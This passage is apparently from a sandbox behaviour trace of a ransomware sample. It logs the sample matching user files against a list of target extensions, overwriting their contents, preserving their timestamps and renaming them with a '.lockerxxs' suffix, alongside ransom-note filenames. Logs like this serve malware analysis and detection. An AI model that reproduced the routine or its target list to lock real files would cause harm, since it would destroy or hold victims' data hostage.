HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.ofx") returned 0 [0084.225] lstrlenA (lpString="*.ofx") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.qif") returned 0 [0084.225] lstrlenA (lpString="*.qif") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.mye") returned 0 [0084.225] lstrlenA (lpString="*.mye") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.mbox") returned 0 [0084.225] lstrlenA (lpString="*.mbox") returned 6 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.eml") returned 0 [0084.225] lstrlenA (lpString="*.eml") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.pst") returned 0 [0084.225] lstrlenA (lpString="*.pst") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.ost") returned 0 [0084.225] lstrlenA (lpString="*.ost") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.idx") returned 0 [0084.225] lstrlenA (lpString="*.idx") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.dbx") returned 0 [0084.225] lstrlenA (lpString="*.dbx") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.sql") returned 0 [0084.225] lstrlenA (lpString="*.sql") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.mdb") returned 0 [0084.225] lstrlenA (lpString="*.mdb") returned 5 [0084.225] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.fdb") returned 0 [0084.226] lstrlenA (lpString="*.fdb") returned 5 [0084.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.wab") returned 0 [0084.226] lstrlenA (lpString="*.wab") returned 5 [0084.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.dat") returned 0 [0084.226] lstrlenA (lpString="*.dat") returned 5 [0084.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.txt") returned 0 [0084.226] lstrlenA (lpString="*.txt") returned 5 [0084.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.jpeg") returned 0 [0084.226] lstrlenA (lpString="*.jpeg") returned 6 [0084.226] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", pszSpec="*.jpg") returned 1 [0084.226] lstrlenA (lpString="*.jpg") returned 5 [0084.226] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" [0084.226] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" [0084.226] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg." [0084.226] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.lockerxxs" [0084.226] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.227] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa1f [0084.227] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52f32f30, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52f32f30, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52f32f30, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.227] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.227] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x9f9, lpOverlapped=0x0) returned 1 [0084.229] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg") returned="BBBVLcG[1].jpg" [0084.229] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.229] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x9f9, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x9f9, lpOverlapped=0x0) returned 1 [0084.229] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.230] CloseHandle (hObject=0xa4) returned 1 [0084.230] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvlcg[1].jpg.lockerxxs")) returned 1 [0084.231] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x530afcf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x530afcf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x530afcf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x82d, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBVSkP[1].jpg", cAlternateFileName="BBBVSK~1.JPG")) returned 1 [0084.231] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.231] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBVSkP[1].jpg") returned 1 [0084.231] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBVSkP[1].jpg") returned 1 [0084.231] lstrcmpiA (lpString1="", lpString2="BBBVSkP[1].jpg") returned -1 [0084.231] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVLcG[1].jpg") returned="BBBVLcG[1].jpg" [0084.231] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.231] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.231] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.231] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.231] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBVSkP[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" [0084.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.ems") returned 0 [0084.231] lstrlenA (lpString="*.ems") returned 5 [0084.231] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.db") returned 0 [0084.231] lstrlenA (lpString="*.db") returned 4 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.dbf") returned 0 [0084.232] lstrlenA (lpString="*.dbf") returned 5 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.myox") returned 0 [0084.232] lstrlenA (lpString="*.myox") returned 6 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.myo") returned 0 [0084.232] lstrlenA (lpString="*.myo") returned 5 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qbw") returned 0 [0084.232] lstrlenA (lpString="*.qbw") returned 5 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qbb") returned 0 [0084.232] lstrlenA (lpString="*.qbb") returned 5 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qbm") returned 0 [0084.232] lstrlenA (lpString="*.qbm") returned 5 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qbo") returned 0 [0084.232] lstrlenA (lpString="*.qbo") returned 5 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qbx") returned 0 [0084.232] lstrlenA (lpString="*.qbx") returned 5 [0084.232] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qba") returned 0 [0084.232] lstrlenA (lpString="*.qba") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qby") returned 0 [0084.233] lstrlenA (lpString="*.qby") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qbj") returned 0 [0084.233] lstrlenA (lpString="*.qbj") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.ofx") returned 0 [0084.233] lstrlenA (lpString="*.ofx") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.qif") returned 0 [0084.233] lstrlenA (lpString="*.qif") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.mye") returned 0 [0084.233] lstrlenA (lpString="*.mye") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.mbox") returned 0 [0084.233] lstrlenA (lpString="*.mbox") returned 6 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.eml") returned 0 [0084.233] lstrlenA (lpString="*.eml") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.pst") returned 0 [0084.233] lstrlenA (lpString="*.pst") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.ost") returned 0 [0084.233] lstrlenA (lpString="*.ost") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.idx") returned 0 [0084.233] lstrlenA (lpString="*.idx") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.dbx") returned 0 [0084.233] lstrlenA (lpString="*.dbx") returned 5 [0084.233] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.sql") returned 0 [0084.233] lstrlenA (lpString="*.sql") returned 5 [0084.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.mdb") returned 0 [0084.234] lstrlenA (lpString="*.mdb") returned 5 [0084.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.fdb") returned 0 [0084.234] lstrlenA (lpString="*.fdb") returned 5 [0084.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.wab") returned 0 [0084.234] lstrlenA (lpString="*.wab") returned 5 [0084.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.dat") returned 0 [0084.234] lstrlenA (lpString="*.dat") returned 5 [0084.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.txt") returned 0 [0084.234] lstrlenA (lpString="*.txt") returned 5 [0084.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.jpeg") returned 0 [0084.234] lstrlenA (lpString="*.jpeg") returned 6 [0084.234] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", pszSpec="*.jpg") returned 1 [0084.234] lstrlenA (lpString="*.jpg") returned 5 [0084.234] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" [0084.234] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" [0084.234] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg." [0084.234] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg.lockerxxs" [0084.234] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBVSkP[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbvskp[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.235] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x82d [0084.235] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x530afcf0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x530afcf0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x530afcf0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.235] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.236] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x807, lpOverlapped=0x0) returned 1 [0084.237] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet 